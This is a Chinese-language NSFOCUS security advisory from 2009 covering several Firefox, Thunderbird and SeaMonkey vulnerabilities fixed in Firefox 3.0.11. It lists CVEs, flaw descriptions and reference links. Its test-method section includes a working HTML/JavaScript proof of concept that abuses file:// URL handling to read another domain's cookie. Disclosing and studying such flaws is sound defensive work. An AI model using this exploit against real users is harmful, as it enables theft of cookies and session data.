绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Firefox 3.0.11版本修复多个安全漏洞

发布日期：2009-06-11
更新日期：2009-06-16

受影响系统：

Mozilla Firefox < 3.0.11
Mozilla Thunderbird < 2.0.0.22
Mozilla SeaMonkey < 1.1.17

不受影响系统：

Mozilla Firefox 3.0.11
Mozilla Thunderbird 2.0.0.22
Mozilla SeaMonkey 1.1.17

描述：

BUGTRAQ  ID: 35360,35370,35373,35371,35372,35377,35380,35383,35386,35388
CVE(CAN) ID: CVE-2009-1392,CVE-2009-1832,CVE-2009-1833,CVE-2009-1834,CVE-2009-1835,CVE-2009-1836,CVE-2009-1837,CVE-2009-1838,CVE-2009-1839,CVE-2009-1840,CVE-2009-1841

Firefox是Mozilla所发布的开源WEB浏览器。

Firefox中的多个安全漏洞允许恶意用户泄露敏感信息、绕过安全限制或入侵用户系统。由于代码共享，Thunderbird和SeaMonkey也受这些漏洞的影响。

1) 如果在加载Java applet时离开了网页，则访问NPObject JS wrapper类对象的保密数据就可能出现竞争条件，导致使用已释放的内存。

2) 浏览器引擎和JavaScript引擎中存在多个内存破坏漏洞。

3) 两次创建帧可能触发内存破坏，导致执行任意代码。

4) Firefox显示IDN中某些Unicode字符的方式存在漏洞。如果IDN包含有无效的字符，会显示为空格，用户会误以为正在访问可信任的站点。

5) 如果用户通过file:// URL加载了恶意的本地内容就可能导致该内容访问其他本地数据。成功利用这个漏洞要求用户下载并打开了特制的HTML文件。

6) 在处理到代理的CONNECT请求后的非200响应时存在错误，如果攻击者能够对使用代理服务器的Firefox例程执行中间人攻击，就可以从用户所访问的站点窃取敏感信息。

7) 在垃圾收集后元素的所有者文档可能为空，事件处理器可以利用这个漏洞以chrome权限执行任意Javascript代码。

8) 在通过地址栏加载file:资源时可能允许访问正常情况下受保护的其他本地文件的内容。

9) Firefox加载XUL脚本的方式存在权限提升漏洞，在没有发生某些策略检查时Firefox和某些附件组件可能加载恶意内容。

10) chrome特权对象（如浏览器侧栏或FeedWriter）与web内容交互的方式存在错误，可能导致以对象的chrome权限执行任意代码。

<*来源：Bob Clary
        Jesse Ruderman （jruderman@gmail.com）
        Alexander Sack
        Bret McMillan
        Matt McCutchen
        Martijn Warger

  链接：http://secunia.com/advisories/35331/
        http://secunia.com/secunia_research/2009-19/
        http://www.mozilla.org/security/announce/2009/mfsa2009-24.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-25.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-26.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-27.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-28.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-29.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-30.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-31.html
        http://www.mozilla.org/security/announce/2009/mfsa2009-32.html
        https://www.redhat.com/support/errata/RHSA-2009-1096.html
        https://www.redhat.com/support/errata/RHSA-2009-1095.html
        http://www.debian.org/security/2009/dsa-1820
        https://www.redhat.com/support/errata/RHSA-2009-1125.html
        https://www.redhat.com/support/errata/RHSA-2009-1126.html
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>

<head>
<title>read domain cookie</title>
<script type="text/javascript">//<![CDATA[
var div0;
var input0;
var iframe0;
function doit() {

    if (!iframe0) {
    return;
    }

    var loc = location.toString();
    if (loc.match(/^file:\/\/\//)) {
    iframe0.src="";
    var domain = input0.value;
    var target = loc.replace("file:\/\/", "file:\/\/" + domain);
    var doc = iframe0.contentDocument.open();
    doc.write("<html><head><meta http-equiv='Refresh' content='0," +
          target + "'></meta></head></html>");
    doc.close();
    }
}
function init(){

    if ("file:" != location.protocol) {
    alert("must load from local file");
    return;
    }

    var loc = location.toString();
    if (!loc.match(/^file:\/\/\//)) {
    alert("domain=" + document.domain + "\n" + "cookie=" + document.cookie);
    } else {

    div0 = document.getElementById("div0");
    input0 = document.getElementById("input0");
    if ("" == input0.value) {
        input0.value = "www.google.com";
    }

    div0.style["display"]="";

    iframe0 = document.createElement("iframe");
    iframe0.id = "iframe0";
    iframe0.width=1;
    iframe0.height=1;
    iframe0.style["border"] = "0px";
    document.body.appendChild(iframe0);
    }
}
//]]>
</script>
</head>
<body onload="init()">
    <div id="div0" style="display:none">
      <label for="input0">domain:</label>
      <input type="text" name="input0" id="input0" size="24"/>
      <input type="button" id="input1" value="doit" onclick="doit()"/><br />
    </div>
</body>
</html>


建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客